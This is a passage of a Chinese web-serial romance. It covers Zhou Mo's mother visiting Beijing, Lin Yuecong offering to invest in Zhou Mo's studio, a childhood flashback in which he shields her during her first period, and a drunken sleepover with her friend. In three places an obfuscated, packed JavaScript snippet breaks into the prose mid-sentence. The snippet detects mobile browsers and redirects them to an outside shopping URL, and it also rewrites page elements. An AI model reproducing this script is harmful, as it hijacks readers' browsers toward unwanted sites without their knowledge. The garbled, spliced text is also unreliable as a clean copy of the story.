朱美丽说想去北海公园划小船,周墨二话不说,带着人就走。 秋高气爽,天色湛蓝。 母女二人找了一艘脚踏船,荡漾在水面上吹风看风景。 周墨问:“我爸他最近怎么样了?” 朱美丽说:“挺好的呀,就是每隔一天都要透析一次,来北京不好操作,所以这次就没能来看你。” 周墨心里一沉,“怎么变成隔一天透析一次了?之前不都是一周两次么?” “数据不好呗。”朱美丽眉眼间难得流露出一丝惆怅。 如果不是特别了解他们家情况的人,看见朱美丽这么个性格,实在很难想象她家里还有一位尿毒症病人需要照顾。 不过很快朱美丽就一扫阴霾,拿出手机跟周墨显摆:“我这次出来,雇了个临时的保姆照顾你爸,但我不放心呀,所以我就在家里装了一套监控设备。” 周海山是糖尿病肾病发展成的尿毒症,今年年初并发症视网膜病变,失明了。周墨为此哭了好几场,朱美丽也一夜间多了很多白头发。 所以周海山平时身边离不开人,但朱美丽同样惦记远在北京的女儿,听说她买了房,说什么都要过来看看才算放心。 周墨强行逼退了眼里的泪意,顺着朱美丽打趣:“哎呦,咱们朱美丽女士很厉害嘛,居然都会装监控器了。” 朱美丽得意地点开监控器关联APP,监控画面显示周海山正在沙发上躺着,电视机开着,正在放他最爱看的电视剧《亮剑》,保姆在厨房备菜,看起来一切相安无事。 母女俩脑袋挨着脑袋,挤在小小的手机屏幕前,看周海山一会儿挖鼻孔,一会儿抠脚,一边笑一边疯狂截屏。 两人看够了,周墨一个电话拨过去,只见监控画面里周海山手忙脚乱将手机接起。 “周海山同志,你刚刚是不是在挖鼻屎!” 周墨开启暴击模式,电话一接通就质问。 周海山在对面愣了一下,这才想起来家里装了监控。 “哎,都是你妈,就弄这些多余的,好好的家里,装什么监控嘛!” 周墨嘻嘻笑道:“朱美丽女士这不是想你么?一天见不到都难受。” 果然,挨了亲妈一记重重肘击。 一家三口相隔千里唠了会儿家常,周墨对周海山说:“放心吧老周,我帮你打听一下北京能透析的医院,下次我妈再来,你就跟她一起,反正我现在也买房子了,住得下。” 周海山也不打消周墨积极性,乐呵呵地说好。 周墨挂断电话,心中酸涩再难压抑,眼泪控制不住从眼角流下来。 她侧过头假装看风景,对朱美丽说:“妈,爸爸的眼睛还是要抓紧时间治,医生不是说这失明是可逆的么,该做激光光凝手术咱就做,该注射靶向药就注射,不用担心钱。” “知道了知道了,真能操心,再这样下去你还没嫁人呢,就先变成老妈子了。” 朱美丽嘴上嫌弃,落在周墨背脊的目光,却满是心疼。 周墨不想让坏心情糟蹋了这么好的风景,站起身挥舞双臂,跳大神一样四面呼唤:“钱来!钱来!都说北海公园风水特别好,赶紧助我发大财!” 小船被周墨折腾得一顿乱晃,给朱美丽吓坏了,连着给了周墨几下,“发什么大病啊你!” 周墨向朱美丽拍了拍胸脯,“放心吧朱美丽同志,你闺女我,集美貌与智慧于一身的周墨,一定会发大财赚到好多好多的钱,然后送老周去美国做肾移植手术的!到时候他就不用再透析了,想吃什么吃什么,想喝什么喝什么!” “行,行,我等着呢,快消停点吧你。”朱美丽将周墨拽下来坐好。 这时朱美丽的手机铃声响起,周墨眼神好,瞥见了林跃琮的名字,有那么一瞬的冲动,真想把朱美丽手机扔水里去。 可她怕被朱美丽打死。 林跃琮说今天下午没事,要兑现昨天的承诺,带朱美丽去逛大集,得知她们在逛北海公园,就说要来接他们。 “行呀,刚好周墨没开车,那我们就在北门等你,你来北门方便吧?” 周墨看着欣然应下的朱美丽,忍不住吐槽:“您可真不拿自己当外人,使唤别人使唤得这么没有心理压力么?” 朱美丽道:“小林又不是别人,我有什么心理压力呀?不能辜负小辈的心意嘛。人与人之间呢,最重要的就是真诚。他愿意招待我,我呢也愿意被他招待,一来一回才叫人情。我说你什么时候变得这么叽叽歪歪了?大大方方的!” “……” 周墨冲朱美丽竖了竖大拇指,“受教。” 北漂三年,周墨都不知道,原来北京的物价也可以这么便宜,不仅便宜,食材还新鲜。 她平时习惯在超市购物,被林跃琮领着逛了两个大集,简直打开了新世界的大门。朱美丽更是进入了快乐的海洋,看什么都想买,要不是周墨和林跃琮一起阻拦,她恨不能给周墨扛半扇羊回去。 两个小的被无差别当成了骆驼,大包小包超负荷负重。 周墨见林跃琮一个好好的天家公子,眼也不眨地踩着满地腥臭泥污,陪着朱美丽在鱼摊砍价,说一点触动都没有那是不可能的。 “林跃琮,谢谢。”周墨趁着朱美丽去挑水果,真心实意地说。 林跃琮看她一眼,“想要谢谢,就别说谢谢。” “哦,那收回一个谢谢。”周墨干巴巴地说。 林跃琮笑出声,“周墨,不怪我放不下你,明明是你总在勾引我。” 周墨丢给他一个看精神病人的眼神,“你到底喜欢我什么,我改还不行?” 朱美丽从水果分区出来了,手里又提了六七个袋子。幸亏林跃琮的车后备箱空间足够大,不然很可能装不下朱美丽采购的东西。 周墨看着满满当当的奔驰大G后备箱,快要晕过去了。 “妈,这是要末日了么?我平时都不怎么在家吃饭的,你给我囤这么多东西干嘛,再说了,我家冰箱也装不下呀。” “不是还有小朗家的冰箱嘛,可以装的,今晚青青来吃饭,好多东西做一顿饭也就没了。小林也一起来吃吧?” 这次林跃琮却婉拒道:“不了丽姨,我一会儿就去机场,要出差一周左右才能回来,不然也不会这么赶,今天就带您来逛集市。” 朱美丽有点惋惜,“哎,要一周啊,那我可能就回去了。” 林跃琮说:“是啊,可能没法送您了,只能等下次您再来北京,或者我有机会去滨城。” 朱美丽看了眼时间,“几点的飞机呀?这么赶还来陪我们,逛集市可有可无的,不一定非得来呀。” “都答应您了,总不能食言,再说了,我也想多和您待会儿,舍不得您。” 林跃琮不犯病的时候,真的很有世家公子的风范,举止有度,礼貌有教养,办事周到细心,让人如沐春风。他每次和朱美丽说话时,都会微微放低身段,摆出耐心倾听的样子。 如果不是周墨高中时见过他恶劣的一面,也要沦陷了。 这样的人,不去政圈里搅风搅雨,真是暴殄天物。 林跃琮给两人送到家,又帮忙将所有东西都搬了上去,周墨心说幸亏她买的是个带电梯的房子,不然都要担心林跃琮的老腰。 最后一次下来,两人站在单元门口,像是回到了昨晚。 只不过这一次,林跃琮没法再把周墨拐上车了。 “周墨,考虑一下我今早跟你说的话。”林跃琮扶着车门,正色道。 今早林跃琮临别前问周墨,她的工作室需不需要投资人,他们红松资本可以投她。 周墨当时心里正憋着一口气呢,怎可能再承他的情,便一口回绝道:“不用了谢谢,我不想给投资人打工,这个小工作室做着也挺好。” “周叔的病情,现在随时都可能恶化到不得不换肾的那一步,国内肾源紧张,去国外做手术的话,恐怕以你现在的能力是负担不起的。” 周墨皱眉,“你怎么知道我爸病情恶化了?” “这还不好猜么,这次只有丽姨自己来,以周叔的性格,但凡他还能自由行动,一定会跟着一起来北京看你的。所以我今天就托了滨城医疗口的朋友,帮忙打听了一下。” 周墨觉得,林跃琮这个人实在是太可怕了,这种见微知著的能力,想在他眼皮子底下隐瞒什么几乎是不可能的。 “周墨,想要来钱快,就要扩大经营规模,眼下是自媒体的风口期,别错过机会,想通了就给我打电话。或者不想联系我,联系红松资本的投资顾问也可以。” 林跃琮递给周墨一张名片,然后开车走了。 周墨手里捏着林跃琮给的名片,在原地站了好半天,才叹了口气。 对于大多数创业者来说,她其实有很大的优势,最起码找投资人这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122507|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块,要比别人容易多了,有林跃琮保驾护航,她也不必担心被投资人坑。 但如果真的动用林跃琮的资源,那以后他们之间就更牵扯不清了。 周墨一下午都心事重重的,好在朱美丽忙活得热火朝天,没有注意到她的异状。 “这些牛肉我都给你切好了,这一半是牛吊笼片,你想炒着吃烤着吃都行,这一半是牛腩块,你可以炖汤喝。还有这些是刀鱼,我都收拾好了,想吃的时候直接撒点盐和十三香粉腌制一下,用油煎着吃,或者红烧着吃……” 周墨听得一个耳朵进一个耳朵出,她不愿意扫朱美丽的兴,只能不过脑地嗯嗯应声。 晚上卫青青如约上门,看起来眉飞色舞,花枝招展。 卫青青和周墨乖巧甜美的长相不一样,是那种秾丽挂的,一头大波浪,浓眉大眼烈焰红唇。 她一进门就扑上去在朱美丽脸上用力亲了一口,给她白胖胖的脸蛋上留下一个大大的口红印,同时嘴里嚷嚷:“美丽阿姨,我可想死你啦!” 朱美丽被卫青青几句话哄得红光满面,炒小龙虾的锅颠到飞起。 周墨抱臂在旁冷眼看着,挤兑道:“你哄你爸有这两下子,还用担心家产旁落么?” 卫青青瞬间垮下脸,像个皱巴巴的小苦瓜。 “能不能别提我家那个脑子秀逗的老头?本来今天心情好好的。” 卫大律师的脑回路无人能理解,明明是初代海归,行事作风却像个封建余孽,放着好好的独生女不传承衣钵,非要培养弟弟家的孩子。 周墨也不想刺激闺蜜,便举双手做投降状,在嘴巴上做了个拉拉链的动作。 卫青青总算能愉快地享用她的小龙虾大餐,顺便又对着朱美丽吹了一顿彩虹屁,然后晚上非要赖在周墨家睡。 两人各自忙工作,确实很久没好好聚一聚了,干脆弄了点小酒,在卧室里搞了个睡衣趴。 该聊的八卦聊完,周墨开始聊起了正事,“青青,你认不认识什么不错的投资人?” 卫青青本来在床上四仰八叉摊着,闻言咕噜一下爬起来,“什么什么?我没听错吧?你问我要不错的投资人?干嘛不找林跃琮?” 周墨叹息一声,“不想找他。” 卫青青眼珠子叽里咕噜一顿乱转,“你昨晚夜不归宿,该不会……是和林跃琮吧?” 说着忽然倒抽一口气,戏精附体一样,捂住了嘴巴。 “不是吧不是吧,小墨墨,你该不会是为了我,出卖了自己的肉^体……哎喂!” 卫青青一句话没说完,就被周墨一脚蹬下了床。 “开个玩笑都不行嘛。”卫青青一脸委屈地重新爬回来,窥着周墨神色,见她并不是真的生气,又开始犯贱,“越是暴躁,越是有情况哦……” “林跃琮在追我。”周墨没想对卫青青隐藏,直言不讳道。 卫青青反倒是正常起来,沉默片刻,才道:“难怪呢,那么轻易就将红松资本的法务代理给了我,我早该想到的,如果只是普通发小,怎么可能这么积极。” 周墨给了卫青青一个白眼,“要不是为了你,我才不会跟着他去海边吹一晚上的风。” “海边吹风,好浪漫啊。”卫青青恋爱脑犯了,双手捧拳眼冒星星。 “卫律师,麻烦你正常点,再这样下去,我要怀疑你的智商,考虑是不是换个法务了。” “说得好像你有钱换似的。”卫青青撇撇嘴,“不过话说回来,你是怎么想的呀?那可是林跃琮诶,论家世,论外形,论能力,论财力,都是S级的极品尤物啊!你真的不考虑考虑?” 周墨抱着双膝靠坐在床头,将下巴抵在膝盖上,陷入了沉思。 林跃琮是她少女时期的暗恋对象,确切地说,他是当时月华中学,几乎所有女生的暗恋对象。 其实徐子衿,陈向远和陈向朗也都是学校的风云人物,可他们吃亏在比林跃琮低一个年级。 林跃琮不仅有“学长”这个身份的加持,初二那年,更是当选了学生会主席,不仅同级和下级学妹们对他芳心暗许,更有一些初三学姐给他课桌里偷偷塞情书的。 那么她是从什么时候开始喜欢林跃琮的呢? 仔细回忆起来,好像还源自于一段特别尴尬的回忆。 她初潮来得特别早,小学四年级就来了,在大多数男孩女孩还不知道月经为何物的时候。 记得那天,已经是深秋时节,天气骤然转凉,她刚刚换上了羊毛裤。 周三学校只上半天,周墨从早上就蔫蔫的,身体不太舒服,小肚子坠坠的疼。 她以为自己是要拉肚子,只盼着上午的课快点结束好回家。 好不容易挨到最后一节课的下课铃,周墨赶紧收拾书包,却在站起来的一瞬间,觉得身下猛地流出一股湿热。 她只是愣了一下,没当回事,背着书包快速往教学楼外面走,可是一路上流出来的东西却好像越来越多,她吓坏了,还以为自己是尿裤子了。 徐子衿和陈向远一回头,见周墨没等他们就走,赶紧追上来,尤其是陈向远,一边追还一边喊:“周墨!你怎么跑那么快呀!喂!怎么不等等我们!” 陈向远喊得越欢,周墨越怕,她生怕被人知道自己尿裤子了,急得眼泪都流出来。她越走越急,不当心撞倒一个一年级的小男孩。 男孩指着她屁股上的一大摊深褐色印记,大喊:“哇!大家快来看呀!这人拉裤子了!” 18. 018 小男孩的叫嚷声很快吸引了越来越多的人,学生们都好奇地围拢过来。 周墨脸色惨白,她想跑去厕所,可最近的厕所还有很远的距离,她急得眼泪在眼眶里打转,又窘迫又无助。 “没有,你乱说,我才没有拉裤子。” 她小声辩白着,努力将校服外套往下面拉。 那小男孩为了证明自己没乱说,还想跑过来掀开周墨的校服下摆。 可是有人比他抢先一步,用校服外套将周墨裹了起来。 这件校服外套比周墨自己的大很多,披在身上几乎能盖到膝盖以上,袖子处还别着一个鲜红醒目的“三道杠”标志。 全校的学生中,只有一个人可以佩戴代表少先队大队长的三道杠。 周墨看到林跃琮将那一年级小男生拉到角落里,俯身在他耳畔低声说了什么,那小男生看向周墨的眼神骤然变得惊恐。 反观林跃琮,看着小孩笑得温柔和善,还竖起食指在嘴边,做了个噤声的动作,小男孩点头如捣蒜,背着书包一溜烟跑了。 接着林跃琮又组织大家快点往外走,不要聚集拥堵走廊,周墨很快就被遗忘在一旁。 一场对她来说几乎等同于灭顶之灾的围观,就这样在几分钟之内化解于无形。 疏通了聚集的人流之后,林跃琮才重新回到周墨身边。 “你还好吧?能自己走么?” 周墨泫然欲泣地看着他,“我好像要死了。” “这样么,那我送你回家。”林跃琮拉起她的手。 “不行,不能告诉爸妈,我要找个没人的地方默默死掉。” 林跃琮笑吟吟看着她,丝毫没有对一个将死之人的怜悯之情。 不过周墨还是在他的掩护下,顺利躲开了陈向远陈向朗和徐子衿。 周海山白天要去采购物资,所以每周三中午放学,他们都是自己回家的。 从学校到锦上花园不远,走路也就二十多分钟,小孩子们一大群结伴而行,家长们也不担心。 周墨站不远处回望校门口,徐子衿陈向远两个人正四处找她,同时还要看着刚上一年级的陈向朗。 “真的要直接走么?不管他们了?”林跃琮站在周墨身后,虽然他只比周墨大了九个月,神态间总有种逗小孩的感觉。 周墨抽了抽鼻子,一想到这可能是这辈子最后一次见他们,居然有点不舍得。 “走吧。”她最终还是选择不告而别。 林跃琮陪着周墨漫无目的地乱走,两人去了距离学校最近的一个小公园。 周墨又怕又难过,也不跟林跃琮说话,坐在公园的长椅上自怨自艾,想象自己是林黛玉,哭成个泪人。 这一坐就是一个多小时,下面倒是没有之前那种热流涌出来了,但是淡淡的血腥味萦绕周身。 周墨在长椅上平躺下来,准备迎接自己的死亡。 “林跃琮,我要是死了,拜托你一会儿把我埋了吧。” 周墨连自己的墓地都选好了,伸手指了指附近的一棵大树:“喏,就埋在那棵树下就行。” 林跃琮顺着她指的方向看过去,点了点头,“行,就给你埋那儿。” 安排好了自己的“后事”,周墨闭上眼,轻声问:“林跃琮,你说你是从北京来的吧?” “是啊。” “我还没去过北京呢……以前还想着长大后去看故宫,现在……现在也去不了了呜呜呜。” 周墨委屈得不行,又哭了。 林跃琮就像是看到什么新奇有趣的玩意儿,索性在长椅边蹲下来,专心看着周墨哭,憋笑憋得辛苦。 周墨哭着哭着,就睡着了。 林跃琮向湖边一个看报纸的中年男人挥了挥手,那人立刻快步走过来。 这人正是林家负责接送林跃琮的司机,在林跃琮的授意下,之前一直暗中跟着他们。 林跃琮让司机帮忙,将周墨抱到车上,一起返回锦上花园。 “李叔,跟周家联系了么?”林跃琮坐在后座,看前排的司机。 “联系了,就说周墨心情不好,你陪着出去逛一逛,也跟徐家和陈家的那几个孩子打了招呼,放心吧,现在他们应该都回家了。” “那就好,辛苦了。” 李叔从倒车镜里看了眼后排的两个孩子。 林跃琮正看着窗外,一旁的小姑娘靠在他肩膀上,睡得很香。 李叔心里不由感叹,林跃琮有时成熟得真不像个十岁的孩子,不仅做事细心有分寸,待人接物也很体面。 真不愧是林家的后辈。 周墨再次醒过来时,发现自己居然没死。 不仅没死,还被林跃琮送回了家。 朱美丽将周墨从车上抱下来的时候,周墨用看叛徒的眼神看林跃琮。 说好的不让家里人知道呢!说好的一个人默默死掉呢! 林跃琮你这个背信弃义的大骗子! 当然,很快周墨就在朱美丽的教导下,明白自己身上发生了什么,人生第一次学会了用卫生巾,并且知道她不会死了。 朱美丽喜忧参半地念叨着:“以后我们小墨就是大姑娘了,哎,只是怎么这么早就来了呢,妈妈完全没准备……” 周墨看着朱美丽将她换下来的裤子放进洗衣盆里,浅色的秋裤几乎全都染成了红色,深红色的羊毛裤看不出来弄脏了,一下水,顿时让整盆水变成了血色。 流了这么多的血,怎么都没死呢…… 周墨坐在小板凳上,双手撑着下巴看着,觉得她自己真的好厉害,这样都没死。 要是换成了陈向远,流这么多血,肯定大罗神仙都救不回来。 不过很快她就觉得天塌了,因为她的视线落在了那件带着“三道杠”的校服上。 她之前一直将这件校服套在最外面,它没有像周墨的裤子那样脏得厉害,却也沾染了一些血迹。 周墨的脸瞬间涨红了,不敢想象以后该怎么面对林跃琮。 任凭客厅里的陈向远和陈向朗如何吵嚷,催她下去,周墨就是像鸵鸟一样,躲在楼上自己的屋子里不肯出来。 朱美丽知道她害羞,连晚饭都是端到她房间的。 可是躲得了初一,躲不了十五。 周墨总归第二天还是要上学的。 陈向远早上一见到周墨就开始兴师问罪。 “周墨,你昨天怎么回事呀,我们在校门口等了你好久,结果林家的司机大叔说你跟着林跃琮跑了。” 周墨含糊其辞:“我……我和他有点事。” 陈向远更不爽了,“你俩能有什么事?你有事找他,不找我?” 周墨懒得解释,烦躁道:“要你管呢。” 陈向远还想纠缠,却被周墨一笔头戳过去,无情镇压。 周墨好不容易挨到午休,提着装了林跃琮校服的袋子,磨磨蹭蹭往五年级的班级楼层走。 结果好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142139|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧不巧,又在走廊里碰到那个戳穿他的一年级小男生。 只不过让周墨没想到的是,这次那男生看她一眼,就像看见鬼了一样,慌不择路地跑了。 周墨原本还担心来着,怕这小喇叭在学校里四处宣扬,坏她名声。可是如今看他这样子,似乎对她避如蛇蝎。 她忽然想起,昨天林跃琮似乎单独对他说了什么,从那时候开始,他就怕她了。 “找谁呢?” 背后忽然传来声音,吓了周墨一跳。 她猛地转过身,看到林跃琮。 要是换做平常,周墨早就凶回去了,可是这次竟然支支吾吾半天没吭出声来。 林跃琮垂眸看了眼她手中的校服,笑道:“哦,原来是找我呢。” “废话,来你们班门口,当然是找你了,校服还你。”周墨耳朵尖都烫起来了,一把将校服袋子塞林跃琮怀里,“妈妈已经洗干净了。” 林跃琮打开袋子看了眼,看周墨。 周墨低头,不敢看他的眼睛。 林跃琮偏偏故意使坏,弯下腰故意从下方去看周墨的眼睛。 “不客气哈。” 可周墨明明没有说谢谢。 “谢谢你。”周墨只好硬着头皮补上,然后又问:“对了,你昨天……和那个小孩,说什么了?” “想知道?叫一声哥听听。”林跃琮说。 周墨知道,林跃琮这是又犯病了,他总是这样,好不了一会儿。 “爱说不说。”她转身就走。 “周墨。”林跃琮却将她叫住。 他从口袋里拿出来一个东西,递给她。 那是一个玫瑰花样式的钥匙扣。 花朵和真的玫瑰一样大小,仿真度极高,乍一看像真的鲜花一样。 “你以后把这个挂在书包上,我保证,那小孩绝对不敢再胡说八道。”林跃琮笑得神神秘秘的,不像个好人。 周墨后来真的将这个挂在了书包上,和那小男孩偶遇过几次,也不知道为什么,那小孩一见她这个玫瑰钥匙扣,好像更怕她了,每次都躲她躲得远远的。 而林跃琮也一直没有将其中缘由告诉她。 直到高一那年,林跃琮要随着父亲调任回到北京。 周墨当时正生林跃琮的气,将这玫瑰钥匙扣还给他,以示诀别。 林跃琮才终于肯将真相告诉给她。 彼时,在那个狭窄幽暗的巷子里,他靠墙懒散站着,掂量着手中的钥匙扣,对周墨说:“不想知道当初我跟那个小孩说了什么?” 所谓好奇害死猫,这么多年,这是周墨一直惦记的悬案。 “你过来,我告诉你。” 林跃琮就像一只狐狸精,对周墨这单纯的小鸡崽释放诱饵。 周墨双手揣在校服口袋里,向林跃琮走过去,“到底说了什么?” 林跃琮微微倾身过来,凑近了周墨。 “当年,我告诉他,你是玫瑰花妖变的,每隔一段时间要吃小孩才能维持人形,他看到你裤子上的东西,是花液,说明你快维持不住人形了,要是他敢将秘密说出去,下一个被吃的就是他。” 周墨:“………………” “林跃琮,你可真能鬼扯……” 就在周墨说话间,林跃琮顺势双手捧住她的脸,轻轻在她的唇上吻了一下,并且说出了一句让周墨彻底三观崩塌的话。 他说:“周墨,要不要跟我去开房?” 19. 019 从小到大,林跃琮一直热衷于给周墨讲黑^童话,什么王子喜欢灰姑娘是因为他是恋^足癖,王子想要亲睡美人是因为他是恋^尸癖,王子顺着长发公主的头发爬进城堡本质是入户^奸^淫…… 拜他所赐,周墨甚至一度对“王子”这个称呼产生了ptsd,以至于后来偶然听到同年级的女生谈论起林跃琮,说他像王子,表情都会很微妙。 大概也是因为林跃琮,周墨的脑壳里没有给恋爱脑生长的土壤,在偶像剧和少女漫风靡校园的少女时代,她的世界只有阿加莎克莉丝汀和福尔摩斯,每天沉溺于各种谋杀案。 直到小学四年级的那次解围,林跃琮的形象在周墨心中变得不一样起来。 也是在那一年,在香港公映了五年的电影《大话西游》忽然在大陆火起来,紫霞仙子在其中有段台词:“我的意中人是个盖世英雄,有一天他会身披金甲圣衣,脚踏七彩祥云来娶我。” 周墨看电影的时候,第一时间想到的居然是林跃琮。这想法就像一颗种子,深埋在心底,并随着青春发育,悄无声息结出了一朵名为暗恋的花朵。 只可惜,最后这朵花,却被林跃琮亲手毁掉了,以一种近乎残忍的方式。 …… “喂,小墨墨,你发什么呆呢?” 周墨被卫青青丢过来的抱枕砸中了脑袋,回过神。 卫青青将一张大脸凑过来,警犬一样,左看看,右闻闻。 周墨一把将她推开,“干嘛呢你?属狗的啊?” “不对劲,你不对劲啊。”卫青青啧啧两声,眯着眼睛盯住周墨,“老实交代,刚才是不是陷入了你和林大公子的甜蜜回忆?” “别开玩笑了,我和林跃琮能有什么甜蜜回忆,高一之后就没联系了,其实也不太熟。” “真的?”卫青青显然不信。 周墨正色道:“你也知道他家是什么背景,我跟他怎么可能?” 卫青青甩了个大白眼,“咋啦,他是皇亲贵胄啊?住在故宫养心殿?我们家小墨墨盘正条顺又能赚钱,配他我还觉得亏了呢!” “成成成,我配谁都亏,就应该配你,行吧?”周墨向卫青青扑过来,挠她痒痒肉。 卫青青嘎嘎地乐,“哎呀,可恨我不是个带把儿的,不然还轮得着别人么?” 说到这里,卫青青忽然又丧丧的。 可恨不是个带把儿的,这是她从小到大最常听她爹说的一句话了。 “算了,林跃琮的确也不是什么好选择,那样的大家族,我可舍不得我们小墨墨嫁进去受委屈。咱不指望他,也不欠他人情!” 卫青青喝多了,借着酒劲,开始拿出手机扒拉通讯录,嘴上念念有词:“不就是投资人么,还非得求到他林跃琮头上?我这里不是要多少有多少……” 周墨的手机开始不停弹消息,她抓过手机一看,好家伙,卫青青一口气给她推了十几个微信联系人。 “你加!一个一个加他们!就说是我卫青青介绍的!放心,提我名,好使!” 卫青青喝高了,站在床上左摇右晃,刚开始还只是吹牛逼,好像自己是京圈大姐头,到后面就开始骂她爸重男轻女,骂她那个堂弟谋夺家产。 周墨也喝醉了,从最初扶着卫青青,阻止她上房揭瓦,到最后开始帮着她骂人,日天日地日空气,好像从小因为性别遭受不公平待遇的是她自己一样。 两个人一直闹腾到后半夜才睡觉,第二天遭到朱美丽的严正控诉。 “你说说你们两个,大半夜不睡觉,鬼哭狼嚎什么呢?” 两个昨晚拽得二五八万的疯婆娘,现在都变成了乖乖女,埋头在餐桌边喝粥,要多安静有多安静。 朱美丽碎碎念着进周墨房间收拾残局,看到满地的空酒瓶,震惊道:“就你们两个,喝了这么多!” 卫青青以为朱美丽要大发雷霆了,整个人都要缩到桌子底下去,谁知却见朱美丽点头道:“幸亏是在家里喝的,这要是去外面饭店点这些酒,不得花几倍的价钱?” 她还埋怨周墨,“你咋不叫我一起呢,我都好久没喝过酒了,带上我,还能给你们整点吃的,炸个串串鸡柳啥的。” 周墨一脸心虚:“以为你睡着了嘛。” 朱美丽撇嘴:“哎呦我,就你俩那动静,我是睡美人么还能听不见。” “切,听见了你咋不过来?” “呵呵,我又没被邀请,哪知道自己受不受欢迎……” “咦?什么时候朱美丽女士这么有偶像包袱了?” 一顿早饭就在母女两人的拌嘴中度过了,周墨送卫青青下楼的时候,卫青青一脸羡慕地说:“小墨墨,好想给你妈妈当女儿哦,今天这事放在我家,我绝对要被骂死的。” 周墨不解:“又不是未成年,自己在家喝点酒怎么了?谁没有借酒浇愁的时候嘛?” 卫青青摇摇头,“你不懂,这要是换做我爸,首先要谴责我,说我不像个女孩子,我妈更会觉得我很丢脸,觉得没有教育好我。” 卫青青家里的情况,周墨自然是有所了解的。 她不知道该怎么安慰,便只能抱了抱她,“那以后想喝酒就来找我嘛。” 卫青青泪眼汪汪,“呜呜呜,太难了,今天还要去律所战斗。” 周墨摸着卫青青的头给她顺毛,“等我以后做大做强,就包养你,让你的律所成为我们集团的御用律所!” “嗯,我要做京圈第一红所的合伙人,然后给你做上市并购,我们一起发大财,去纳斯达克敲钟!” 姐妹两人一起做了场白日梦,各自奔赴各自的战场。 周墨超级有执行力,一上午就把卫青青给她推的所有投资人都加上了。 她闺蜜真不是吹的,提她名字真的好使。 周墨将自己商业企划书和公司相关资料发给了投资人们,除了两个投资方向完全不涉及媒体领域的当即回绝,其他人都表示了兴趣,想要进一步交流。 当天下午,周墨就约了两个投资人见面,聊得都很不错。一个资本背景深厚,实力不亚于红松资本,是很多大厂的股东,但是没有涉足过媒体领域。一个算是新生资本,投资规模不大,胜在熟悉行业,和周墨也有很多共同话题。 她知道自己在这方面经验不足,就将每一个投资人背后的资本情况,以及聊天内容记录下来,回头准备见过所有的投资人以后,发给徐子衿让他帮自己参谋。 再次回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148700|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到家,已经是傍晚了,周墨发现家里居然来了人,瘦高的身形,带着一副无框眼镜,很路人的长相,气质却不错,很书生气。 这人周墨认识,是陈向远的特助,姓什么不记得了。 “小薛啊,你是哪儿毕业的呀?” “阿姨,我本科是上财的,硕士在美国宾大读的。” “本科上海财经呀?哎呦这不是巧了,周墨也是在上海念的大学呢!你哪儿的人?” “阿姨,我是山东的。” “嘿,我们家祖籍也是山东的,算半个老乡呢……” 周墨越听越觉得这对话不对劲,急忙冲进客厅,“妈,跟谁聊天呢?” 薛特助立刻从沙发上起身,向周墨礼貌打招呼:“周小姐,陈总让我来给阿姨和您送点东西,东西已经送到了,我就不打扰了。” 周墨余光里扫到客厅里的大大小小的礼盒,皱眉问:“你们陈总人呢?” 薛特助眨了眨眼,道:“陈总他……出差了。” 周墨皮笑肉不笑,“出差了是吧,你回去跟他说,别送这些乱七八糟的东西,我有事找他,让他自己过来。” “这……恐怕不行,陈总他这一周,不,是这一个月都很忙。不过我会转达周小姐的话,先告辞了。” 薛特助逃命一样地跑了,朱美丽再三挽留吃饭未果,一路恋恋不舍地送出去。 “诶诶诶,朱美丽女士,眼睛都快挂在人家身上了,怎么,这是想开辟第二春呢?” 朱美丽狠狠给了周墨一杵子,“胡说什么呢!我是觉得这小薛人不错,这一看就是个务实本分对媳妇好的小伙!” “哎呦,您是齐天大圣么,火眼金睛,看一眼都能看出来他对媳妇好。” “你懂个屁,老娘这双眼睛就是尺!” 周墨懒得理会朱美丽,心想她肯定是红娘瘾犯了,又想给谁牵红线。 她进了卧室,拿出手机翻出和陈向远的微信,直接发了条语音过去:“陈二狗,别搞这些糖衣炮弹,快点,给老子,出现,去民政局,离婚!” 对面好像死了一样,安静如鸡。 接下来三天,周墨出去见投资人,每天晚上回来都能碰到薛特助替陈向远送东西。 朱美丽似乎对这薛特助越看越喜欢,考察得差不多,终于准备下手,于是给陈向远发微信语音消息。 朱美丽:“小远呀,阿姨跟你打听个事儿呀,你那个助理小薛,他有没有女朋友?” 区别于周墨的装死待遇,这次陈向远几乎是秒回。 “阿姨,小薛没有女朋友,咋啦,想给他介绍?对了我今天送的那个茶叶,是给周叔叔的,他最喜欢的正山小种,我朋友茶庄产的,要是叔叔喝的好了,我以后就直接给您邮回滨城。” “哎呀费心了,你叔叔他现在也喝不了太多的水,顶多尝尝味道解个馋,这一盒够他喝很久啦!。” 朱美丽回复得很是敷衍,注意力还是在小薛身上。 